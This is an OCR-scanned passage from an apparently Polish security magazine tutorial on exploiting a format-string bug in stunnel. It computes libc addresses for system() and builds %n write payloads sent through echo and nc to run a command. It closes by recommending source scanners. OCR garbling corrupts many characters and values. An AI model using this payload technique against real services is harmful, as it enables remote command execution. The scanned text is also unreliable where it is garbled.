libc. Zastosujemy opcje -b (--dynamic),
ktéra wyswietli symbole dynamiczne:

$ nm -D /1lib/libc-2.3.2.s0 \
| grep system

(...)

0003d4d0 W system

Skoro biblioteka libc jest tadowa-
na pod adres 0x40173000 — a we-
wnatrz niej funkcja system() za-
czyna sie od offsetu 0x0003d4d0
— to adres, pod ktérym w prze-
strzeni adresowej procesu stunnel
umieszczona jest funkcja system(),
wynosi 0x40173000+0x0003d4d0
=0x401b04d0. Te wtadnie warto$¢
musimy umiesci¢ pod adresem
0x08053490.

Tworzymy ciag

Mamy juz komplet informacji po-
trzebnych do stworzenia ciggu. Be-
dzie on wygladat nastepujaco:

+ polecenie do wykonania, zakon-
czone znakiem komentarza (by
dalsza czes$¢ ciggu nie byta wy-
konywana), na przyktad touch
XXXX #,

» adres 0x08053490,

* adres 0x08053491,

* adres 0x08053492,

» adres 0x08053493,

* znacznik s<jakas liczba>x — WY-
pisujacy odpowiednig liczbe zna-
kow,

* znacznik %<jakas _liczba>$n
— umieszczajgcy liczbe wypi-
sanych znakéw pod adresem
wzietym z odpowiedniego pseu-
doargumentu (czyli pod adresem
0x08053490),
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* znacznik s<jakas liczba>x,

* znacznik $<jakas _liczba>$n
— umieszczajacy liczbe wypi-
sanych znakéw pod adresem
wzietym z kolejnego pseudo-
argumentu (czyli pod adresem
0x08053491),

* znacznik s<jakas liczba>x,

* znacznik $<jakas _liczba>$n
— umieszczajacy liczbe wypi-
sanych znakéw pod adresem
wzietym z kolejnego pseudo-
argumentu (czyli pod adresem
0x08053492),

* znacznik s<jakas liczba>x,

* znacznik $<jakas _liczba>$n
— umieszczajacy liczbe wypi-
sanych znakéw pod adresem
wzietym z kolejnego pseudo-
argumentu (czyli pod adresem
0x08053493).

Zacznijmy od sprawdzenia, ktérym
pseudoargumentem jest pierwszy
adres. W tym celu wyslijmy Stunne-
lowi ciag:

touch xxxx #AAAAZX.%X.%X.%X.%X.%X. +
ED R TR T P S T > 3

Stunnel wypisuje:

touch xxxx <+
#AARALEff£540.400£5483.4029c41lb «
JEffff££6.40152¢70.238.63756£74. «
78782068.23207878.41414141. <
252e7825.78252e78.2e78252e. <+
252e7825.78252e78.2e78252e

Jak widaé, cztery bajty nastepuja-
ce po przeznaczonym do wykonania
poleceniu to dziesigty pseudoargu-
ment (0x41414141 to aaan).

Teraz ustalmy, ile znakéw powin-
ny wypisywaé znaczniki s<jakas _
Jak pamietamy, chce-
my umiesci¢ liczbe 0x401b04d0
(pod adresem 0x08053490). Zro-
bimy to przez wypisanie kolejno
liczb: 0xd0, 0x104, 0x11b, 0x140.
Do pierwszego znacznika sn wy-
pisanych jest dwadziescia osiem
bajtow (szesnascie bajtow adre-
sow i dwanascie bajtow polece-
nia touch xxxx). W zwigzku z tym
pierwszy znacznik sx powinien wy-
pisa¢ 0xd0-28=180 bajtéow, dru-

liczba>x.

Ciagi formatujace

gi: 0x104-0xd0=52 baijty, trzeci:
0x11b—-0x104=283 bajty, a czwar-
ty: 0x140-0x11b=37 bajtow.

Ostatecznie wiec ciag, ktory wy-
slemy, wyglada nastepujaco:

touch xxxx #0x08053490 <«
0x080534910x08053492 «
0x08053493%180x%105n%52x <«
%$115n%23x%125n%37x%135n

Aby zawrze¢ w wysylanym ciagu
bajty, ktérym nie odpowiadajg zwy-
kte znaki ASCII, skorzystamy z pole-
cenia echo:

$ echo 'touch xxxx #'\
‘echo -e '\x90\x34\x05\x08\x91 «
\x34\x05\x08\x92\x34\x05\x08 <
\x93\x34\x05\x08"' "\
'$180x%105n%52x%115n%23x +
$125n%37x%13%n"' | nc -1 -p 2525

W wyniku wydania tego polecenia
na komputerze ofiary pojawi sie pu-

Podsumowanie

Btedy, ktére umozliwiajg przeka-
zanie do programu ciggu formatu-
jacego, moga by¢, jak widaé, réw-
nie grozne jak btedy umozliwiajace
przepetnienie bufora. Na szczescie
istnieja narzedzia, ktére mogg po-
moc programistom broni¢ sie przed
takimi btedami.

Pierwszym narzedziem ska-
nujgcym kod zrédiowy w poszu-
kiwaniu mozliwych btedow zwig-
zanych z ciggami formatujacymi
byt pscan. Obecnie narzedzi ska-
nujagcych kod zrédtowy jest wie-
cej i wiele z nich rozpoznaje bte-
dy zwigzane z ciggami formatuja-
cym, na przyktad Flawfinder (http://
www.dwheeler.com/flawfinder/),
RATS (http://www.securesw.com/
download_rats.htm), czy |ITS4
(http://www.cigital.com/its4/). Oso-
bom programujacym w jezyku C go-
raco zalecamy ich stosowanie — po-
moga W zwiekszeniu bezpieczen-
stwa tworzonych samodzielnie apli-
kacji. m
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